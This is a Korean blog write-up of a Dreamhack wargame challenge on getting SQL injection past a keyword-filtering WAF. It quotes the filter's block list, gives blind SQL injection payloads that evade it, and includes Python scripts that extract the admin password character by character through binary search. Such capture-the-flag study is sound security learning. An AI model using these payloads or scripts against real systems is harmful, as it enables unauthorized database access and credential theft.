포스트

드림핵 lv.2 - sql injection bypass WAF Advanced

드림핵 sql injection bypass WAF Advanced 웹해킹 워게임 풀이

드림핵 lv.2 - sql injection bypass WAF Advanced

https://dreamhack.io/wargame/challenges/416

문제 설명

Exercise: SQL Injection Bypass WAF의 패치된 문제입니다.


문제 풀이

https://hoonsooni.com/posts/dreamhack_sql_injection_bypass_WAF
이번 문제는 이 전에 풀었던 문제와 상당 부분 일치하는 문제이다. 그래서 웹사이트 분석은 생략해도 될 것 같다.

코드 분석

app.py

1
2
3
4
5
6
7
8
keywords = ['union', 'select', 'from', 'and', 'or', 'admin', ' ', '*', '/', '\n', '\r', '\t', '\x0b', '\x0c', '-', '+']

def check_WAF(data):
    for keyword in keywords:
        if keyword in data.lower():
            return True

    return False

코드 또한 거의 대부분이 똑같다. 하지만 문제에서 설명했듯 WAF 우회 취약점이 패치된 상황이라고 한다.

그래서 달라진 부분만 가져와봤다. 필터링할 키워드가 늘어나있는 것이 보인다.
이 전에는 쿼리에 필요한 공백 문자를 \n이나 \t로 대체할 수 있었는데 이 부분이 완전히 막혀버렸다.

여기에 추가적으로 if문을 보면 data.lower() 함수 때문에 이 전처럼 “union”을 “UniON”같은 것으로 우회하는 길도 막혔다.

최종 풀이

1
' UnION SeLecT null,upw,null FroM user WHERE uid='AdMiN' --

이 전에 사용했던 쿼리이다. 이제 이것들을 하나씩 우회하는 방법을 찾아봐야 하는데 그런 방식으로는 해결이 안될 것 같다.

아무리 생각해도 쿼리가 생각이 나지를 않아서 방향을 바꿔보기로 했다. Blind SQL Injection을 이용한 방법이다.

테스트 쿼리

1
'||uid=reverse("nimda")&&if(ascii(substr(upw,1,1))=0x44,1,0)#

우선 쿼리를 하나 작성하고 작동하는지 테스트를 해봐야한다.
우선 admin 조차 입력할 수 없으니까 reverse를 통해서 uid가 admin값을 가지는지 확인하고 ascii()와 substr() 함수들을 통해서 비밀번호의 한 글자 한 글자를 체크하는 식으로 진행해야 한다.

추가적으로 신경써야 할 점은, 이 전 쿼리에선 주석 처리를 ‘–‘로 하고 있는데 ‘-‘ 기호도 막혀버려서 ‘#’으로 대체했다.

비밀번호 길이 구하기

비밀번호를 구하기 이전에 길이부터 알아야한다.

1
'||uid=reverse("nimda")&&length(upw)=15#

테스트 쿼리를 작성해주고 uid 인풋 박스에 넣어서 제출하면 WAF 혹은 인터널 에러가 발생하지는 않는 것을 보면 쿼리는 잘 작동하는 듯 하다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
import requests

port = "14719"
url = f"http://host1.dreamhack.games:{port}/?uid="

length = 0

for len in range(1, 50):
    query = f"'||uid%3Dreverse('nimda')%26%26length(upw)%3D{str(len)}%23"
    resp = requests.get(f"{url}{query}")

    if "admin" in resp.text:
        length = len
        break

print(length)

이제 해당 쿼리를 적절히 인코딩하여 반복문을 돌려주면 비밀번호의 길이(44)를 알 수 있다.

비밀번호 구하기

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
import requests

port = "20254"
url = f"http://host1.dreamhack.games:{port}/?uid="

length = 44

pw = ""

for i in range(1, length + 1):
    left = 32
    right = 126

    while left <= right:
        mid = (left + right) // 2
        query = f"'||uid%3Dreverse('nimda')%26%26if(ascii(substr(upw%2C{i}%2C1))>{str(mid)}%2C1%2C0)%23"

        resp = requests.get(f"{url}{query}")

        if "admin" in resp.text:
            left = mid + 1
        else:
            right = mid - 1
        
    pw += chr(left)
    print(pw)

해당 코드를 실행하고 조금만 기다리면 최종 비밀번호, 즉 플래그를 얻게된다.
보통 플래그는 출력이 가능한 ascii 문자로 이루어져 있기 때문에 32(‘ ‘)부터 126(‘~’)까지 돌아가면서 맞는 비밀번호를 찾는 원리이다.

비밀번호의 길이는 44이고 126 - 32만큼 반복을 돌면 총 44 * 94번을 반복해야 하기 때문에 상당히 오래걸린다. 단순 연산으로만 따지면 컴퓨터 입장에선 별 거 아니지만 HTTP 요청 연산으로 저 만큼의 반복을 수행하면 꽤나 시간이 걸린다.

그래서 이진 탐색 방식으로 각 문자를 찾는데 걸리는 연산을 최대 7번으로 줄일 수 있다.

배운 것

어떠한 공격을 막았다면 그것을 우회하는 데에는 생각보다 많은 변화가 필요하다는 것을 알았다.

이 기사는 저작권자의 CC BY 4.0 라이센스를 따릅니다.